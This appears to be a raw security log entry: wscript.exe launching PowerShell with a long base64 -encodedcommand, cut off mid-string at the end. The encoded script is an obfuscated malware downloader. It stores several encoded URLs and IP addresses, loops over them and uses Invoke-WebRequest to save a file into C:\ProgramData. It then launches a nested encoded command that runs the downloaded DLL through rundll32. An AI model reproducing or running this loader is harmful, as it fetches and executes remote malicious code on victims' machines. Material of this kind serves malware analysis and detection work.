cwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFEAQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWg